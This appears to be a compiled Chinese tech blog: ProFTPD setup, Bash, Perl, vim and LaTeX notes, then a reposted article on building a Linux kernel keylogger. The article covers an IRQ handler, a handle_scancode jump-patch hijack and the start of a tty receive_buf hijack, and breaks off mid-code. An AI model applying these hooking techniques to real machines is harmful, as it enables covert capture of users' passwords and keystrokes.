  17. # $Id: proftpd.init.d,v 1.7 2002/12/07 21:50:27 jwm Exp $

  18. # Source function library.
  19. . /etc/rc.d/init.d/functions

  20. if [ -f /etc/sysconfig/proftpd ]; then
  21. . /etc/sysconfig/proftpd
  22. fi
复制代码
#下面这行设置环境变量,注意设置好你的proftpd的安装目录
PATH="$PATH:/usr/local/sbin:/var/proftpd/bin:/var/proftpd/sbin"
  1. # See how we were called.
  2. case "$1" in
  3. start)
  4. echo -n "Starting proftpd: "
  5. daemon proftpd $OPTIONS
  6. echo
  7. touch /var/lock/subsys/proftpd
  8. ;;
  9. stop)
  10. echo -n "Shutting down proftpd: "
  11. killproc proftpd
  12. echo
  13. rm -f /var/lock/subsys/proftpd
  14. ;;
  15. status)
  16. status proftpd
  17. ;;
  18. restart)
  19. $0 stop
  20. $0 start
  21. ;;
  22. reread)
  23. echo -n "Re-reading proftpd config: "
  24. killproc proftpd -HUP
  25. echo
  26. ;;
  27. suspend)
  28. hash ftpshut >/dev/null 2>&1
  29. if [ $? = 0 ]; then
  30. if [ $# -gt 1 ]; then
  31. shift
  32. echo -n "Suspending with&s;''*''' "
  33. ftpshut $*
  34. else
  35. echo -n "Suspending NOW "
  36. ftpshut now "Maintanance in progress"
  37. fi
  38. else
  39. echo -n "No way to suspend "
  40. fi
  41. echo
  42. ;;
  43. resume)
  44. if [ -f /etc/shutmsg ]; then
  45. echo -n "Allowing sessions again "
  46. rm -f /etc/shutmsg
  47. else
  48. echo -n "Was not suspended "
  49. fi
  50. echo
  51. ;;
  52. *)
  53. echo -n "Usage: $0 {start|stop|restart|status|reread|resume"
  54. hash ftpshut
  55. if [ $? = 1 ]; then
  56. echo&s;'''&2;'''
  57. else
  58. echo&s;'''|suspend&2;'''
  59. echo&s;'''suspend accepts additional arguments which are passed to ftpshut(84;'''
  60. fi
  61. exit 1
  62. esac

  63. if [ $# -gt 1 ]; then
  64. shift
  65. $0 $*
  66. fi

  67. exit 0
  68. #######脚本结束#########
复制代码
按Esc,输入:x保存。

修改权限,然后添加到系统服务并启动
chmod +x /etc/rc.d/init.d/proftpd
chkconfig --add proftpd
service proftpd start[/code:1:0258b10472]
以后可以用service proftpd restart来重起proftpd。

6 一点体会
看proftpd的文档翻译过的一句话:Finally, a special command is allowed which can be used to control login access: LOGIN Connection or login to

the server. Applying a to this pseudo-command can be used to allow or deny initial connection or login to the context. It has no

effect, and is ignored, when used in a context other than server config, or (i.e. using it in a context

is meaningless).

翻译下:最后,有一个用来限制登陆的特殊命令,就是LOGIN。在中用这个,可以禁止或者允许连接进来。但是,如果不在Server config,

或者中使用的话,他将失去效用,或者说被忽略掉(比如在中使用就是无效的)。

proftpd感觉还是比vsftp功能配置上好用一点,主要掌握好段基本上应用来说就没有问题了。
proftpd文档地址http://www.proftpd.org/docs/。[/code]

修改了好几次了,之前有些笔误和忘记写的地方,有什么问题大家提出来,我会及时修改的。谢谢。

wd 回复于:2004-06-11 16:28:50
虽然关键内容不是我的原创,比如那个脚本(我不会写脚本,呵呵),可是好歹也写了半天,呵呵。

Proftpd 安装手册

***安装-www.proftpd.org下载安装
***虚拟用户:所谓虚拟,就是说这个用户不是系统用户,而只是ProFTPD自己的私有用户。和windows中的FTP server软件serv-U中的用户很像。由于不是系统用户,使用虚拟用户可以提高安全性。

虚拟用户的信息可以从普通文件、数据库、LDAP服务器等地方获得。此处介绍最简单的一种,让ProFTPD从文件获得虚拟用户信息。

1. 在/etc/proftpd.conf中加入
RequireValidShell off
AuthOrder mod_auth_file.c
AuthUserFile /usr/local/etc/proftpd/passwd
AuthGroupFile /usr/local/etc/proftpd/group
其中,AuthOrder指定了权限检查的顺序。这里只使用虚拟用户。AuthUserFile和AuthGroupFile的文件格式看passwd(5)和group(5)。如果用户名和组名与系统的重复,看DirFakeUser和DirFakeGroup。

2. 使用ftpasswd创建passwd和group文件
$ ftpasswd --passwd --file=/usr/local/etc/proftpd/passwd --name=test1 --uid=2001 \
--home=/home/nohome --shell=/bin/false
$ ftpasswd --passwd --file=/usr/local/etc/proftpd/passwd --name=test2 --uid=2002 \
--home=/home/nohome --shell=/bin/false
创建了一个test1和test2用户

$ ftpasswd --group --name=test --gid=2001
创建了一个test组

$ ftpasswd --group --name=test --gid=2001 --member=test1 --member=test2
把test1和test2加入test组

3. 重启proftpd

***修改权限:

2009年6月29日星期一

Bash 变量长度

BASH: $#---所有参数
readonly--修饰常量#

使用数组
[bob in ~] ARRAY=(one two three)

[bob in ~] echo ${ARRAY[*]}
one two three

[bob in ~] echo $ARRAY[*]
one[*]

[bob in ~] echo ${ARRAY[2]}
three

[bob in ~] ARRAY[3]=four

[bob in ~] echo ${ARRAY[*]}
one two three four

变量的长度
[bob in ~] echo $SHELL
/bin/bash

[bob in ~] echo ${#SHELL}
9

[bob in ~] ARRAY=(one two three)

[bob in ~] echo ${#ARRAY}
3

#####################################################
以下的例子显示了一个简单的测试:

anny ~> if [ $? -eq 0 ]
More input> then echo 'That was a good job!'
More input> fi
That was a good job!

anny ~>


一个通过比较字符串来测试用户ID的例子:

if [ "$(whoami)" != 'root' ]; then
echo "You have no permission to run $0 as non-root user."
exit 1;
fi

使用Bash,你可以缩短这样的结构。下面是以上测试的精简结构:

[ "$(whoami)" != 'root' ] && ( echo you are using a non-privileged account; exit 1 )


类似于如果测试为真就执行的 “&&” 表达式, “||” 指定了测试为假就执行。类似于 “&&” 表达式指明了在两个测试条件为真时所采取的动作,“||” 指明测试为假时所采取的行动。

2009年5月29日星期五

Per 多线程共享数据的问题

我有个多线程的应用,要共享一个数据结构——一个按id分类访问的多队列,具体讲就是一个hash,hash键是id,hash值是一个匿名数组引用,匿名数组
的第一个元素是一个标量(队列的属性),匿名数组的第二个元素是一个匿名数组引用(队列的数据),非多线程写法就是如下:
my %queue;
$queue{$id} = [$scalar, [$to_handle_data1, $to_handle_data2, ...]];
现在要在多个线程间共享这个数据结构,我是这样写的:
use threads;
use threads::shared;

my %queue:share;
if (not exists $queue{$id}) {

$queue{$id} = &share([$scalar, &share([ $data1 ])]);

} else {

push(@{$queue{$id}->[1]}, $data2); #这句出错,导致线程终止
}

程序写出来,不能按我的期望那样跑,哪位熟悉的大侠,能帮我看看这种数据共享应该怎么写才正确呢,谢谢了!
=============================================
============================================
打印的错误消息:
thread failed to start: Invalid value for shared scalar at ./xxx.pl line 32.
=================================================
=============================================
解决了,正确的写法如下:
$queue{$id} = &share([]);
push(@{$queue{$id}}, $scalar);
push(@{$queue{$id}}, &share([]));
push(@{$queue{$id}->[1]}, $data);
=======================================
===========================================
函数前面不要写 &,空参数不要写 [],重复使用的 $queue{$id} 可以
再弄个变量代替,这样看起来容易。
=========================================
=========================================
我有些搞不懂为啥它不支持将一整个变量深层地share,非要对每个分量再次share. 技术上有难度吗?
================================================
==============================================
技术上难,使用上也难,因为涉及到引用,你可能无意中就共享了
一大堆东西,垃圾回收也不好做了,因为 Perl 里引用超出作用域
就销毁,如果多线程共享就不行了。

Perl中对hash的操作

=================

Perl Hash Howto

This how-to comes with no guaratees other than the fact that these code segments were copy/pasted from code that I wrote and ran successfully.

Initialize (clear, or empty) a hash

Assigning an empty list is the fastest method.

Solution

    my %hash = ();

Initialize (clear, or empty) a hash reference

People have asked how to initialize a hash reference (aka hash ref and href). This is the way to go:

Solution

    my $hash_ref = {};  # a reference to an empty hash, ref will return HASH

The great thing about this is that if before performing an actual assignment, you want to determine (using the ref operator) the type of thingy that a reference is pointing to, you can!... and you can expect it to be a HASH built-in type, because that is what the line above initializes it to be.

Note

If you treat the variable just as any scalar variable; and use the my declaration alone, or assign a value, ref will return false.

    my $hash_ref;
my $hash_ref = 0; # zero

Add a key/value pair to a hash

In the solutions below, quotes around the keys can be omitted when the keys are identifiers.

Hash:

Solution

    $hash{ 'key' } = 'value';    # hash
    $hash{ $key } = $value;      # hash, using variables

Hash reference:

Solution

    $href->{ 'key' } = 'value';  # hash ref
    $href->{ $key } = $value;    # hash ref, using variables

Add several key/value pairs to a hash

Solution

The following statements are equivalent, though the second one is more readable:

    %hash = ( 'key1', 'value1', 'key2', 'value2', 'key3', 'value3' );
    %hash = (
key1 => 'value1',
key2 => 'value2',
key3 => 'value3',
);

Copy a hash

Solution

    my %hash_copy = %hash;  # copy a hash
    my $href_copy = $href;  # copy a hash ref

Delete a single key/value pair

The solution differs for a hash and a hash reference, but both cases can use the delete function.

Solution

Hash:

    delete $hash{$key};

Hash reference:

    delete $hash_ref->{$key};

Perform an action on each key/value pair in a hash

The actions below print the key/value pairs.

Solution

Use each within a while loop. Note that each iterates over entries in an apparently random order, but that order is guaranteed to be the same for the functions keys and values.

    while ( my ($key, $value) = each(%hash) ) {
print "$key => $value\n";
}

A hash reference would be only slightly different:

    while ( my ($key, $value) = each(%$hash_ref) ) {
print "$key => $value\n";
}

Solution

Use keys with a for loop.

    for my $key ( keys %hash ) {
my $value = $hash{$key};
print "$key => $value\n";
}

Example

    my $file = $ARGV[0] || "-";
my %from = ();
open FILE, "< $file" or die "Can't open $file : $!";
while( ) {
if (/^From: (.*)/) { $from{$1}++ } # count recurrences of sender
}
close FILE;
for my $sender ( sort keys %from ) {
print "$sender: $from{$sender}\n";
}

Get the size of a hash

Solution

    print "size of hash:  " . keys( %hash ) . ".\n";

Solution

    my $i = 0;
$i += scalar keys %$hash_ref; # method 1: explicit scalar context
$i += keys %$hash_ref; # method 2: implicit scalar context

Use hash references

Solution

    sub foo
{
my $hash_ref;
$hash_ref->{ 'key1' } = 'value1';
$hash_ref->{ 'key2' } = 'value2';
$hash_ref->{ 'key3' } = 'value3';
return $hash_ref;
}
my $hash_ref = foo();
print "the keys... ", sort keys %$hash_ref, "...\n";

Create a hash of hashes; via references

The following two solutions are equivalent, except for the way the look. In my opinion the second approach is clearer.

Solution

    $requiredPatches_href->{ $patch }->{ os }    = $os;
$requiredPatches_href->{ $patch }->{ arch } = $arch;
$requiredPatches_href->{ $patch }->{ info } = $info;

Solution

    $requiredPatches_href->{ $patch } = {
os => $os,
arch => $arch,
info => $info,
};

Function to build a hash of hashes; return a reference

Solution

    sub foo
{
my ( $login, $p, $uid, $gid, $gecos, $dir, $s );
my %HoH = ();
my $file = '/etc/passwd';
open( PASSWD, "< $file" ) or die "Can't open $file : $!";
while( ) {
( $login, $p, $uid, $gid, $gecos, $dir, $s ) = split( ':' );
$HoH{ $login }{ 'uid' } = $uid;
$HoH{ $login }{ 'gid' } = $gid;
$HoH{ $login }{ 'dir' } = $dir;
}
close PASSWD;
return \%HoH;
}

Access and print a reference to a hash of hashes

Solution

    my $rHoH = foo();
my( $uid, $gid, $dir );
for my $login ( keys %$rHoH ) {
$uid = $rHoH->{ $login }->{ 'uid' }; # method 1 most readable
$gid = ${ $rHoH->{ $login } }{ 'gid' }; # method 2
$dir = ${ ${ $rHoH }{ $login } }{ 'dir' }; # method 3 least readable
print "uid: $uid, gid: $gid, dir, $dir.\n";
}

Solution

    my $rHoH = foo();
for my $k1 ( sort keys %$rHoH ) {
print "k1: $k1\n";
for my $k2 ( keys %{$rHoH->{ $k1 }} ) {
print "k2: $k2 $rHoH->{ $k1 }{ $k2 }\n";
}
}

Function to build a hash of hashes of hashes; return a reference

Solution

    sub foo
{
my %HoHoH = ();
while( ... ) {
if( /LOCATION:/ ) {
...
} elsif( /MODULE:/ ) {
$HoHoH{ $loc }{ $module_type }{ MODULE_NAME } = $module_name;
} elsif( $ARGS_ALLOWED ) {
$HoHoH{ $loc }{ $module_type }{ $arg_name } = $arg_value;
}
}
return \%HoHoH;
}

Access and print a reference to a hash of hashes of hashes

Solution

    my $rHoHoH = foo();
for my $k1 ( sort keys %$rHoHoH ) {
print "$k1\n";
for my $k2 ( sort keys %{$rHoHoH->{ $k1 }} ) {
print "\t$k2\n";
for my $k3 ( sort keys %{$rHoHoH->{ $k1 }->{ $k2 }} ) {
print "\t\t$k3 => $rHoHoH->{ $k1 }->{ $k2 }->{ $k3 }\n";
}
}
}

Print the keys and values of a hash, given a hash reference

Solution

    while( my ($k, $v) = each %$hash_ref ) {
print "key: $k, value: $v.\n";
}

Determine whether a hash value exists, is defined, or is true

Solution

    print "Value EXISTS, but may be undefined.\n" if exists  $hash{ $key };
print "Value is DEFINED, but may be false.\n" if defined $hash{ $key };
print "Value is TRUE at hash key $key.\n" if $hash{ $key };

Example

Let's say we execute an sql query where some of the resulting values may be NULL. Before attempting to use any of the values we should first check whether they are defined, as in the following code. Note that the subroutine sql_fetch_hashref() takes care of connecting to the database, preparing the statement, executing it, and returning the resulting row as a hash reference using DBI's fetchrow_hashref() method.

    my $answers = 'a,b,c,d,e';
my $sql = "select max_time, $answers from questions " .
'where question_number=?';
my $hash_ref = sql_fetch_hashref( $sql, $q );
my @answers = split ',', $answers;
my $max_time = $hash_ref->{max_time} || '60';
my $hash_ref_ans;
for my $letter ( @answers ) {
$hash_ref_ans->{ $letter } = $hash_ref->{ $letter }
if defined $hash_ref->{ $letter };
}

The for loop made a new hash of only defined key/value pairs.

2009年5月27日星期三

perl的引用和数据结构

===============================

自己写程序真是菜,到现在才完完全全理解了perl的引用下面的笔记,先发引用
每个人都需要复合的数据结构,在Perl中我们的办法是通过'引用'来实现。这里有四个重要的操作'引用'的规则:两个方法用于创建'引用',另外两个用于使用'引用'。 一旦掌握了这些规则,你可以用'引用'来处理很多重要的事情。

创建引用

方法1(\大法)
$aref = \@array; #$aref保存着指向@array的引用
$href = \@hash; #$href保存着指向%hash的引用

方法2(括号大法)
[ITEMS] 创建一个新的匿名数组,并返回一个数组的引用
{ITEMS} 创建一个新的匿名哈希,并返回一个哈希的引用

$aref = [ 1, "foo", undef, 13 ]; # $aref 保存了这个数组的'引用'
$href = { APR =>; 4, AUG =>; 8 }; # $href 保存了这个哈希的'引用'

分别和总结
# 这里: $aref = [ 1, 2, 3 ]; 和后面一样: @array = (1, 2, 3); $aref = \@array;
前面一种方法是后面两行的缩写,除了第一种方法没有创建一个多余的数组变量@array。
如果你只是编写符号 [], 你将得到一个新的、空匿名数组。如果你使用符号 {},就能得到一个新的、空匿名哈希。

使用引用
方法1(简单,不容易错反正给原来用数组或哈希的地方替换就好了,在输出时也可以)
始终使用一个有大括号的数组'引用',来替换一个数组的名字,如@{$aref}代替@array.

数组
对数组的操作 对引用操作
@a @{$aref} 一个数组
reverse @a reverse @{$aref} 对一个数组做倒序排序
$a[3] ${$aref}[3] 数组中的一个成员
$a[3] = 17; ${$aref}[3] = 17 对一个成员赋值
哈希的'引用'和数组的'引用'完全一样
对h的操作 对引用的操作
%h %{$href} 一个哈希
keys %h keys %{$href} 从哈希中将键取出来
$h{'red'} ${$href}{'red'} 哈希中的一个成员
$h{'red'} = 17 ${$href}{'red'} = 17 对一个成员赋值

方法2(上面的方法好用,但不方便读,下面会方便些)
${$aref}[3] 可以写成 $aref->[3]. #注$aref->[3]不等同$aref[3],前面的$aref->表示的其实是@aref,后面只是一个标量
${$href}{red} 可以写成 $href->{red}. #同上

箭头符号规则
在两个下标之间的箭头是可选的。 $a[1][2]来代替$a[1]->[2]
使用方法1 中,当大括号里面是一个象$aref这样的标量变量时,你可以省略掉这个大括号。例如, @$aref 和@{$aref}是一样.

perl中容易出问题和要注意的地方
下面的操作不会copy '引用'指向的数组:
$aref2 = $aref1;
你将得到两个'引用',它们都指向同一个数组。如果你修改了$aref1->;[23]的值,那么你查看变量$aref2->;[23]时,它也相应地变了。
所以,如果你要copy这个数组,你需要这样
$aref2 = [@{$aref1}];
使用符号 [...] 来创建一个新的匿名数组, 而且这个新的数组的'引用'被赋值给了$aref2 。 这个新的数组用'引用'$aref1所指向的数组的内容来初始化。
同样的,要copy一个匿名哈希,你需要这样
$href2 = {%{$href1}};

2009年5月22日星期五

vim---关于程序编写

set
zf-zo-zc-zi-zn-zN-zr-zm
set foldopen[close]=all,&
set foldmethod=indent
set foldlevel=0--
set foldcolumn=4 创建显示区


:mkview--创建视图区
loadview--


c+T
c+]
:tags 显示
:tag跳转到最后
:tfirst
:[count]tprevious
:[count]tnext
:tlast
:tnext
:tag /block
:tag write_
:ptag-
:pclose-预览函数定义,打开关闭
:pedit
:psearch


%
[#
#]--跳到if-endif结构的开头,结尾
[{-
]}--跳到大括号结构开头,结尾
[]--
]]--上一函数结尾,下一函数开始
[(--])-------
[/--]/--只对 /* 注释有效
[I--查找所有使用此定义的行
[或者[c-I -- 跳到第一次遇到的行C-O跳回来
[i 只列出第一个匹配的
]I 只列出当前光标之后的匹配项
]i 只列出当前光标之后的第一个匹配项
gD-局部搜索变量=[I 在局部使用
gd-查找当前函数

2009年5月12日星期二

Perl-内容提示

Perl通用法则:如果去掉括号不影响程序的话就可以去掉

标量-1234566==1_234_567,为了便于阅读

字符串-
1,可以包含任意字符,可以把图片,编译好的程序放入字符串中修改

2,没有c中结束的Null

3,单引号中只有反斜杠和单引号需要转义

4,5x4<==> "5"x4<==>"5555"

5,数字和字符串自动转换,字符串转成数字时取第一个数字,其后忽略“44dddee33”*2=88
字符串如无数字转换成0. 字符串中0开头不表示非十进制数字,必须使用hex或org
"Z".3*5="Z15"

6,print "kkk",3*4,"\n"; -是被允许的

布尔值-Perl无布尔值,0=""=undef="0"=false,其余所有都为真. defined 函数可以查询undef值

数组-
1,如果下标超出,返回undef

2,$#ArrayName=得到最后数组元素下标

3,@表引用这整个数组-@rocks=qw/i am a student/; 对起数组前四个赋值

4,foreach $element(@menge)中,$element不是数组元素拷贝,而是其本身

5,sort 不会修改数组本身,需要重新写入 @kk=sort @kk;

6,sort sort_func @array;利用排序函数给数组排序,排序函数中$a,$b值不需要赋值,可以使用三向比较符 "<=>",返回-1,0,1

7,grep 过滤数组值

qw-
1,当作单引号,并忽略空格,分界符可以是任意符号,(),[],{},!!,##............但是要相应转义

2,($fred, $barney) = qw ;只给前两个值,其余舍去

context-
1,@backwards = reverse qw / yabba dabba doo /;
#返回 doo, dabba, yabba
$backwards = reverse qw/ yabba dabba doo /;
#返回 oodabbadabbay

2,@wilma = undef;由于 undef 是一个标量值,将 undef 赋给数组不会清空数组。

文件和目录-
1,opendir/open,readline/readdir,closedir/close

2,readdir得到文件名而不是全路径-***,如果测试文件,需要变成全路径,否则为测试当前路径下文件***

3,unlink,删除文件,其余还有symlink,readlink,mkdir,rmdir,chown,utaimi(改变时间戳)

执行shell-
1,system,exec

2,反引号捕获输出,例如 $now=`date`

环境变量-%ENV{"变量名"}

2009年5月4日星期一

Linux-Date--显示日期

date yesterday 显示昨天日期

2009年5月2日星期六

Latex-改变行距

1, 改变局部行距
\usepackage{setspace}
\begin{document}
\begin{spacing}{2.0}
%%行间距变为double-space

\begin{spacing}{1.0}
%%行间距变为single-space
\end{spacing}

\end{spacing}
\end{document}
2,對於整份文件正文的行距我們可以在全域區中使用
\linespread{1.5}
來設定其行距。

但是有時候 某段文章/表格或 minipage 需要有不同的行距時,要怎麼做比較好呢?試了幾種方法後發現這樣比較快。

{\renewcommand\baselinestretch{0.8}\selectfont
要改變行距的部分
\par}
3,设置array的列间距为1pt:
\setlength{\arraycolsep}{1pt}

改变array的行间距为原来的1.5倍:
\renewcommand{\arraystretch}{1.5}

2009年4月26日星期日

vim 命令---杂项

vim -r XXX.txt: 灾难回复
g+ctr-G:统计
q: 命令行窗口,注意是 q+:
ctr-Z,fg:挂起,恢复
marks, '0-9:查看,选择上次推出时位置
vim -x,set key= :加密文件,key为空白可停止加密

vim 命令---v模式

ctr-v 块选择
+ I,A,c,C: 在每行选中的块前插入(后追加)相同的东西,按esc后显示
~,U,u:交换大小写,变大写,小写
o-v模式下 移动到选中文字(方块)另一端
O-v模式下 移动到选择文字块光标同行的另一端
rx-整个方块内容全部以x填充
>,<:移动整个文件块一个tab长
V 选择行
v 选择
ctr-v 选择方形块

书写基于内核的linux键盘纪录器-(转)

http://www.jpzl.net/xmgl/bm/200712/377138.html
===================================
|=-----------------=[ Writing Linux Kernel Keylogger ]=------------------=|
|=-----------------------------------------------------------------------=|
|=------------------=[ rd ]=-------------------=|
|=------------------------=[ June 19th, 2002 ]=--------------------------=|
|=------------------=[ 整理:e4gle from whitecell.org]=-------------------=|
|=------------------------=[ Aug 12th, 2002 ]=--------------------------=|


--[ Contents

1 - 介绍

2 - linux的keyboard驱动是如何工作的

3 - 基于内核的键盘纪录的原理
3.1 - 中断句柄
3.2 - 函数劫持
3.2.1 - 劫持handle_scancode
3.2.2 - 劫持put_queue
3.2.3 - 劫持receive_buf
3.2.4 - 劫持tty_read
3.2.5 - 劫持sys_read/sys_write

4 - vlogger
4.1 - 工作原理
4.2 - 功能及特点
4.3 - 如何使用

5 - 感谢

6 - 参考资料

7 - Keylogger源代码




--[ 1 - 介绍

本文分成两个部分。第一部分给出了linux键盘驱动的工作原理,并且讨论了建立一个基于
内核的键盘纪录器的方法。这部分内容对那些想写一个基于内核的键盘纪录器,或者写一个
自己键盘驱动的朋友会有帮助。

第二部分详细描述了vlogger的每个细节,vlogger是一个强大的基于内核的linux键盘纪录器,
以及如何来使用它。这向技术可以运用在蜜罐系统中,也可以做成一些很有意思的hacker game,
主要用来分析和采集hacker的攻击手法。我们都知道,一些大家熟知的键盘纪录器,如iob,
uberkey,unixkeylogger等,它们是基于用户层的。这里介绍的是基于内核层的键盘纪录器。
最早期的基于内核的键盘纪录器是linspy,它发表在phrack杂志第50期。而现代的kkeylogger(
后面我们将用kkeylogger来表示基于内核的键盘纪录器)广泛采用的手法是中断sys_read或者
sys_write系统调用来对用户的击键进行记录。
显然,这种方法是很不稳定的并且会明显的降低系统的速度,因为我们中断的恰恰是系统使用最
频繁的两个系统调用sys_read,sys_write;sys_read在每个进程需要读写设备的时候都会用到。
在vlogger里,我用了一个更好的方法,就是劫持tty buffer进程函数,下面会介绍到。

我假定读者熟悉linux的可加载模块的原理和运作过程,如果不熟悉,推荐大家首先阅读我以前写
过的linux kernel simple hacking,或者linux tty hijack,(在http://e4gle.org有下载),
参阅《linux驱动程序设计》来获得相关的理论基础知识。


--[ 2 - linux键盘驱动的工作原理

首先让我们通过以下的结构图来了解一下用户从终端的击键是如何工作的:

_____________ _________ _________
/ \ put_queue| |receive_buf| |tty_read
/handle_scancode\-------->|tty_queue|---------->|tty_ldisc|------->
\ / | | |buffer |
\_____________/ |_________| |_________|

_________ ____________
| |sys_read| |
--->|/dev/ttyX|------->|user process|
| | | |
|_________| |____________|


Figure 1

首先,当你输入一个键盘值的时候,键盘将会发送相应的scancodes给键盘驱动。一个独立的
击键可以产生一个六个scancodes的队列。

键盘驱动中的handle_scancode()函数解析scancodes流并通过kdb_translate()函数里的
转换表(translation-table)将击键事件和键的释放事件(key release events)转换成连
续的keycode。

比如,'a'的keycode是30。击键’a'的时候便会产生keycode 30。释放a键的时候会产生
keycode 158(128+30)。

然后,这些keycode通过对keymap的查询被转换成相应key符号。这步是一个相当
复杂的过程。

以上操作之后,获得的字符被送入raw tty队列--tty_flip_buffer。

receive_buf()函数周期性的从tty_flip_buffer中获得字符,然后把这些字符送入
tty read队列。

当用户进程需要得到用户的输入的时候,它会在进程的标准输入(stdin)调用read()函数。
sys_read()函数调用定义在相应的tty设备(如/dev/tty0)的file_operations结构
中指向tty_read的read()函数来读取字符并且返回给用户进程。

/*e4gle add
file_operations是文件操作结构,定义了文件操作行为的成员,结构如下,很容易理解:
struct file_operations {
struct module *owner;
loff_t (*llseek) (struct file *, loff_t, int);
ssize_t (*read) (struct file *, char *, size_t, loff_t *);<----这是本文提到的read函数
ssize_t (*write) (struct file *, const char *, size_t, loff_t *);
int (*readdir) (struct file *, void *, filldir_t);
unsigned int (*poll) (struct file *, struct poll_table_struct *);
int (*ioctl) (struct inode *, struct file *, unsigned int, unsigned long);
int (*mmap) (struct file *, struct vm_area_struct *);
int (*open) (struct inode *, struct file *);
int (*flush) (struct file *);
int (*release) (struct inode *, struct file *);
int (*fsync) (struct file *, struct dentry *, int datasync);
int (*fasync) (int, struct file *, int);
int (*lock) (struct file *, int, struct file_lock *);
ssize_t (*readv) (struct file *, const struct iovec *, unsigned long, loff_t *);
ssize_t (*writev) (struct file *, const struct iovec *, unsigned long, loff_t *);
ssize_t (*sendpage) (struct file *, struct page *, int, size_t, loff_t *, int);
unsigned long (*get_unmapped_area)(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
};
我们直到unix系统中设备也是文件,所以tty设备我们也可以进行文件操作。
*/

键盘驱动器可以有如下4种模式:
- scancode(RAW模式):应用程序取得输入的scancode。这种模式通常
用于应用程序实现自己的键盘驱动器,比如X11程序。

- keycode(MEDIUMRAW模式):应用程序取得key的击键和释放行为(通过
keycode来鉴别这两种行为)信息。

- ASCII(XLATE模式):应用程序取得keymap定义的字符,该字符是
8位编码的。

- Unicode(UNICODE模式):此模式唯一和ASCII模式不同之处就是UNICODE模式
允许用户将自己的10进制值编写成UTF8的unicode字符,如十进制的数可以编写成
Ascii_0到Ascii_9,或者用户16进制的值可以用Hex_0到Hex_9来代表。一个keymap
可以产生出一系列UTF8的序列。

以上这些驱动器的工作模式决定了应用程序所取得的键盘输入的数据类型。大家如果需要详细了解scancode,
keycode和keymaps的相关信息,参看read[3]。


--[ 3 - 基于内核的键盘纪录器的实现步骤

我们论述两种实现方法,一个是书写我们自己的键盘中断句柄,另一个是劫持输入进程函数.


----[ 3.1 - 中断句柄

要纪录击键信息,我们就要利用我们自己的键盘中断。在Intel体系下,控制键盘的IRQ值是1。
当接受到一个键盘中断时,我们的键盘中断器会读取scancode和键盘的状态。读写键盘事件
都是通过0x60端口(键盘数据注册器)和0x64(键盘状态注册器)来实现的。

/* 以下代码都是intel格式 */
#define KEYBOARD_IRQ 1
#define KBD_STATUS_REG 0x64
#define KBD_CNTL_REG 0x64
#define KBD_DATA_REG 0x60

#define kbd_read_input() inb(KBD_DATA_REG)
#define kbd_read_status() inb(KBD_STATUS_REG)
#define kbd_write_output(val) outb(val, KBD_DATA_REG)
#define kbd_write_command(val) outb(val, KBD_CNTL_REG)

/* 注册我们的IRQ句柄*/
request_irq(KEYBOARD_IRQ, my_keyboard_irq_handler, 0, "my keyboard", NULL);

在my_keyboard_irq_handler()函数中定义如下:
scancode = kbd_read_input();
key_status = kbd_read_status();
log_scancode(scancode);

这种方法不方便跨平台操作。而且很容易crash系统,所以必须小心操作你的终端句柄。


----[ 3.2 - 函数劫持

在第一种思路的基础上,我们还可以通过劫持handle_scancode(),put_queue(),receive_buf(),
tty_read()或者sys_read()等函数来实现我们自己的键盘纪录器。注意,我们不能劫持
tty_insert_flip_char()函数,因为它是一个内联函数。


------[ 3.2.1 - handle_scancode函数

它是键盘驱动程序中的一个入口函数(有兴趣可以看内核代码keynoard.c)。

# /usr/src/linux/drives/char/keyboard.c
void handle_scancode(unsigned char scancode, int down);

我们可以这样,通过替换原始的handle_scancode()函数来实现纪录所有的scancode。这就我们
在lkm后门中劫持系统调用是一个道理,保存原来的,把新的注册进去,实现我们要的功能,再调用
回原来的,就这么简单。就是一个内核函数劫持技术。

/* below is a code snippet written by Plasmoid */
static struct semaphore hs_sem, log_sem;
static int logging=1;

#define CODESIZE 7
static char hs_code[CODESIZE];
static char hs_jump[CODESIZE] =
"\xb8\x00\x00\x00\x00" /* movl $0,%eax */
"\xff\xe0" /* jmp *%eax */
;

void (*handle_scancode) (unsigned char, int) =
(void (*)(unsigned char, int)) HS_ADDRESS;

void _handle_scancode(unsigned char scancode, int keydown)
{
if (logging && keydown)
log_scancode(scancode, LOGFILE);

/*恢复原始handle_scancode函数的首几个字节代码。调用恢复后的原始函数并且
*再次恢复跳转代码。
*/
down(&hs_sem);

memcpy(handle_scancode, hs_code, CODESIZE);
handle_scancode(scancode, keydown);
memcpy(handle_scancode, hs_jump, CODESIZE);

up(&hs_sem);
}

HS_ADDRESS这个地址在执行Makefile文件的时候定义:
HS_ADDRESS=0x$(word 1,$(shell ksyms -a | grep handle_scancode))
其实就是handle_scancode在ksyms导出的地址。

类似3.1节中提到的方法,这种方法对在X和终端下纪录键盘击键也很有效果,和是否调用
tty无关。这样你就可以纪录下键盘上的正确的击键行为了(包括一些特殊的key,如ctrl,alt,
shift,print screen等等)。但是这种方法也是不能跨平台操作,毕竟是靠lkm实现的。同样
它也不能纪录远程会话的击键并且也很难构成相当复杂的高级纪录器。


------[ 3.2.2 - put_queue函数

handle_scancode()函数会调用put_queue函数,用来将字符放入tty_queue。

/*e4gle add
put_queue函数在内核中定义如下:

void put_queue(int ch)
{
wake_up(&keypress_wait);
if (tty) {
tty_insert_flip_char(tty, ch, 0);
con_schedule_flip(tty);
}
}
*/

# /usr/src/linux/drives/char/keyboard.c
void put_queue(int ch);

劫持这个函数,我们可以利用和上面劫持handle_scancode函数同样的方法。


------[ 3.2.3 - receive_buf函数

底层tty驱动调用receive_buf()这个函数用来发送硬件设备接收处理的字符。

# /usr/src/linux/drivers/char/n_tty.c */
static void n_tty_receive_buf(struct tty_struct *tty, const
unsigned char *cp, char *fp, int count)

参数cp是一个指向设备接收的输入字符的buffer的指针。参数fp是一个指向一个标记字节指针的指针。

让我们深入的看一看tty结构

# /usr/include/linux/tty.h
struct tty_struct {
int magic;
struct tty_driver driver;
struct tty_ldisc ldisc;
struct termios *termios, *termios_locked;
...
}

# /usr/include/linux/tty_ldisc.h
struct tty_ldisc {
int magic;
char *name;
...
void (*receive_buf)(struct tty_struct *,
const unsigned char *cp, char *fp, int count);
int (*receive_room)(struct tty_struct *);
void (*write_wakeup)(struct tty_struct *);
};

要劫持这个函数,我们可以先保存原始的tty receive_buf()函数,然后重置ldisc.receive_buf到
我们的new_receive_buf()函数来记录用户的输入。

举个例子:我们要记录在tty0设备上的输入。

int fd = open("/dev/tty0", O_RDONLY, 0);
struct file *file = fget(fd);
struct tty_struct *tty = file->private_data;
